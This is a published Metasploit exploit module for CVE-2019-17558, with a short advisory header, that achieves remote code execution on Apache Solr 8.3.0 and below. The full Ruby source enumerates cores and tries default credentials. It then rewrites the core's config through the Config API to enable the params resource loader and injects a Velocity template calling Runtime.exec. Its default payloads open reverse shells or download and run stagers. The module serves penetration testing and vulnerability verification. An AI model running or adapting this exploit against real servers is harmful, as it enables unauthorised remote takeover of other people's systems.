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Apache Solr 8.3.0 Velocity Template Remote Code Execution

Apache Solr 8.3.0 Velocity Template Remote Code Execution
Posted Apr 3, 2020
Authored by Imran Dawoodjee, JAS502N, s00py, AleWong | Site metasploit.com

This Metasploit module exploits a vulnerability in Apache Solr versions 8.3.0 and below which allows remote code execution via a custom Velocity template. Currently, this module only supports Solr basic authentication. From the Tenable advisory: An attacker could target a vulnerable Apache Solr instance by first identifying a list of Solr core names. Once the core names have been identified, an attacker can send a specially crafted HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity template parameter in a specially crafted Solr request, leading to remote code execution.

tags | exploit, remote, web, code execution
advisories | CVE-2019-17558
MD5 | b5dc475b45fed04ef8882d4f1ad70e5d

Apache Solr 8.3.0 Velocity Template Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Solr Remote Code Execution via Velocity Template',
'Description' => %q(
This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
Velocity template. Currently, this module only supports Solr basic authentication.

From the Tenable advisory:
An attacker could target a vulnerable Apache Solr instance by first identifying a list
of Solr core names. Once the core names have been identified, an attacker can send a specially crafted
HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response
Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity
template parameter in a specially crafted Solr request, leading to RCE.
),
'License' => MSF_LICENSE,
'Author' =>
[
's00py', # Discovery and PoC
'jas502n', # exploit code on Github
'AleWong', # ExploitDB contribution, and exploit code on Github
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
],
'References' =>
[
[ 'EDB', '47572' ],
[ 'CVE', '2019-17558' ],
[ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'],
[ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'],
[ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'],
[ 'URL', 'https://github.com/jas502n/solr_rce'],
[ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'],
],
'Platform' => ['linux', 'unix', 'win'],
'Targets' =>
[
[
'Unix (in-memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Linux (dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'CmdStagerFlavor' => %w[curl wget]
}
],
[
'x86/x64 Windows PowerShell',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_psh,
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
}
],
[
'x86/x64 Windows CmdStager',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_cmdstager,
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' },
'CmdStagerFlavor' => %w[vbs certutil]
}
],
[
'Windows Exec',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_exec,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' }
}
],
],
'DisclosureDate' => "2019-10-29", # ISO-8601 formatted
'DefaultTarget' => 0,
'Privileged' => false
)
)

register_options(
[
Opt::RPORT(8983),
OptString.new('USERNAME', [false, 'Solr username', 'solr']),
OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']),
OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/'])
]
)
end

# if we are going to exploit, we only need one core to be exploitable
@vuln_core = ""
# OS specific stuff
@target_platform = ""
# if authentication is used
@auth_string = ""

def check_auth
# see if authentication is required for the specified Solr instance
auth_check = solr_get('uri' => normalize_uri(target_uri.path))

# successfully connected?
unless auth_check
print_bad("Connection failed!")
return nil
end

# if response code is not 200, then the Solr instance definitely requires authentication
unless auth_check.code == 200
# if authentication is required and creds are not provided, we cannot reliably check exploitability
if datastore['USERNAME'] == "" && datastore['PASSWORD'] == ""
print_bad("Credentials not provided, skipping credentialed check...")
return nil
end

# otherwise, try the given creds
auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string)

# successfully connected?
unless attempt_auth
print_bad("Connection failed!")
return nil
end
# if the return code is not 200, then authentication definitely failed
unless attempt_auth.code == 200
print_bad("Invalid credentials!")
return nil
end

store_valid_credential(
user: datastore['USERNAME'],
private: datastore['PASSWORD'],
private_type: :password,
proof: attempt_auth.to_s
)

@auth_string = auth_string
end
# a placeholder return value. Not requiring auth should throw no errors
""
end

# check for vulnerability existence
def check
auth_res = check_auth
unless auth_res
return CheckCode::Unknown("Authentication failed!")
end

# send a GET request to get Solr and system details
ver = solr_get('uri' => normalize_uri(target_uri.path, '/admin/info/system'), 'auth' => @auth_string)

# can't connect? that's an automatic failure
unless ver
return CheckCode::Unknown("Connection failed!")
end

# convert to JSON
ver_json = ver.get_json_document
# get Solr version
solr_version = Gem::Version.new(ver_json['lucene']['solr-spec-version'])
print_status("Found Apache Solr #{solr_version}")
# get OS version details
@target_platform = ver_json['system']['name']
target_arch = ver_json['system']['arch']
target_osver = ver_json['system']['version']
print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
# uname doesn't show up for Windows, so run a check for that
if ver_json['system']['uname']
# print uname only when verbose
vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")
end

# the vulnerability is only present in Solr versions <= 8.3.0
unless solr_version <= Gem::Version.new('8.3.0')
return CheckCode::Safe("Running version of Solr is not vulnerable!")
end

# enumerate cores
cores = solr_get('uri' => normalize_uri(target_uri.path, '/admin/cores'), 'auth' => @auth_string)

# can't connect? that's yet another automatic failure
unless cores
return CheckCode::Unknown("Could not enumerate cores!")
end

# convert to JSON yet again
cores_json = cores.get_json_document
# draw up an array of all the cores
cores_list = Array.new
# get the core names
cores_json['status'].keys.each do |core_name|
cores_list.push(core_name)
end

# no cores? that means nothing to exploit.
if cores_list.empty?
return CheckCode::Safe("No cores found, nothing to exploit!")
end

# got cores? tell the operator which cores were found
print_status("Found core(s): #{cores_list.join(', ')}")
possibly_vulnerable_cores = {}

cores_list.each do |core|
# for each core, attempt to get config
core_config = solr_get('uri' => normalize_uri(target_uri.path, core.to_s, 'config'), 'auth' => @auth_string)

# can't retrieve configuration for that core? go next
unless core_config
print_error("Could not retrieve configuration for core #{core}!")
next
end

# convert to JSON
core_config_json = core_config.get_json_document
# if the core configuration does not include the Velocity Response Writer, it isn't vulnerable
if core_config_json['config']['queryResponseWriter'].keys.include?("velocity")
vprint_good("Found Velocity Response Writer in use by core #{core}")
if core_config_json['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] == "true"
vprint_good("params.resource.loader.enabled for core '#{core}' is set to true.")
possibly_vulnerable_cores.store(core, true)
else
# if params.resource.loader.enabled is false, we need to set it to true before exploitation
print_warning("params.resource.loader.enabled for core #{core} is set to false.")
possibly_vulnerable_cores.store(core, false)
end
else
vprint_error("Velocity Response Writer not found in core #{core}")
next
end
end

# look at the array of possibly vulnerable cores
if possibly_vulnerable_cores.empty?
CheckCode::Safe("No cores are vulnerable!")
else
# if possible, pick a core that already has params.resource.loader.enabled set to true
possibly_vulnerable_cores.each do |core|
if core[1] == true
@vuln_core = core
break
end
end
# otherwise, just pick the first one
if @vuln_core.to_s == ""
@vuln_core = possibly_vulnerable_cores.first
end
CheckCode::Vulnerable
end
end

# the exploit method
def exploit
unless [CheckCode::Vulnerable].include? check
fail_with Failure::NotVulnerable, "Target is most likely not vulnerable!"
end

print_status("Targeting core '#{@vuln_core[0]}'")

# if params.resource.loader.enabled for that core is false
if @vuln_core[1] != true
# the new config in JSON format
enable_params_resource_loader = {
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}.to_json

opts_post = {
'method' => 'POST',
'connection' => 'Keep-Alive',
'ctype' => 'application/json;charset=utf-8',
'encode_params' => false,
'uri' => normalize_uri(target_uri.path, @vuln_core[0].to_s, 'config'),
'data' => enable_params_resource_loader
}

unless @auth_string == ""
opts_post.store('authorization', @auth_string)
end

print_status("params.resource.loader.enabled is false, setting it to true...")
update_config = send_request_cgi(opts_post)

unless update_config
fail_with Failure::Unreachable, "Connection failed!"
end

# if we got anything other than a 200 back, the configuration update failed and the exploit won't work
unless update_config.code == 200
fail_with Failure::UnexpectedReply, "Unable to update config, exploit failed!"
end

print_good("params.resource.loader.enabled is now set to true!")
end

# windows...
if @target_platform.include? "Windows"
# if target is wrong, warn and exit before doing anything
unless target.name.include? "Windows"
fail_with Failure::NoTarget, "Target is found to be Windows, please select the proper target!"
end

case target['Type']
# PowerShell...
when :windows_psh
# need PowerShell for this
winenv_path = execute_command("C:\\Windows\\System32\\cmd.exe /c PATH", 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)
unless winenv_path
fail_with Failure::Unreachable, "Connection failed!"
end

# did the command to check for PATH execute?
unless winenv_path.code == 200
fail_with Failure::UnexpectedReply, "Unexpected reply from target, aborting!"
end

# is PowerShell in PATH?
if /powershell/i =~ winenv_path.body.to_s
# only interested in the contents of PATH. Everything before it is irrelevant
paths = winenv_path.body.split('=')[1]
# confirm that PowerShell exists in the PATH by checking each one
paths.split(';').each do |path_val|
# if PowerShell exists in PATH, then we are good to go
unless /powershell/i =~ path_val
next
end

print_good("Found Powershell at #{path_val}")
# generate PowerShell command, encode with base64, and remove comspec
psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
# specify full path to PowerShell
psh_cmd.insert(0, path_val)
# exploit the thing
execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
break
end
else
fail_with Failure::BadConfig, "PowerShell not found!"
end
# ... CmdStager ...
when :windows_cmdstager
print_status("Sending CmdStager payload...")
execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
# ... or plain old exec?
when :windows_exec
cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}"
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
end
end

# ... or nix-based?
if @target_platform.include? "Linux"
# if target is wrong, warn and exit before doing anything
if target.name.include? "Windows"
fail_with Failure::NoTarget, "Target is found to be nix-based, please select the proper target!"
end

case target['Type']
when :linux_dropper
execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])
when :unix_memory
cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}"
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
end
end
end

# some prep work has to be done to work around the limitations of Java's Runtime.exec()
def execute_cmdstager_begin(_opts)
if @target_platform.include? "Windows"
@cmd_list.each do |command|
command.insert(0, "C:\\Windows\\System32\\cmd.exe /c ")
end
else
@cmd_list.each do |command|
command.insert(0, "/bin/bash -c $@|/bin/bash . echo ")
end
end
end

# sic 'em, bois!
def execute_command(cmd, opts = {})
# custom template which enables command execution
template = <<~VELOCITY
#set($x="")
#set($rt=$x.class.forName("java.lang.Runtime"))
#set($chr=$x.class.forName("java.lang.Character"))
#set($str=$x.class.forName("java.lang.String"))
VELOCITY

# attempts to solve the quoting problem, partially successful
if target.name.include?("Unix")
template += <<~VELOCITY
#set($ex=$rt.getRuntime().exec("#{cmd}"))
VELOCITY
else
template += <<~VELOCITY
#set($ex=$rt.getRuntime().exec('#{cmd}'))
VELOCITY
end

template += <<~VELOCITY
$ex.waitFor()
VELOCITY

# the next 2 lines cause problems with CmdStager, so it's only used when needed
# during the check for PowerShell existence, or by specific payloads
if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory
template += <<~VELOCITY
#set($out=$ex.getInputStream())
#if($out.available())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
#else
#end
VELOCITY
end

# execute the exploit...
raw_result = solr_get(
'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),
'auth' => opts['auth_string'],
'vars_get' => {
'q' => '1',
'wt' => 'velocity',
'v.template' => 'custom',
'v.template.custom' => template
}
)

# Executing PATH always gives a result, so it can return safely
if opts['winenv_check']
return raw_result
end

# for printing command output
unless raw_result.nil?
unless raw_result.code == 200
fail_with Failure::PayloadFailed, "Payload failed to execute!"
end

# to get pretty output
result_inter = raw_result.body.to_s.sub("0\n", ":::").split(":::").last
unless result_inter.nil?
final_result = result_inter.split("\n").first.strip
print_good(final_result)
end
end
end

# make sending requests easier
def solr_get(opts = {})
send_request_cgi_opts = {
'method' => 'GET',
'connection' => 'Keep-Alive',
'uri' => opts['uri']
}

# @auth_string defaults to "" if no authentication is necessary
# otherwise, authentication is required
if opts['auth'] != ""
send_request_cgi_opts.store('authorization', opts['auth'])
end

# a bit unrefined, but should suffice in this case
if opts['vars_get']
send_request_cgi_opts.store('vars_get', opts['vars_get'])
end

send_request_cgi(send_request_cgi_opts)
end
end
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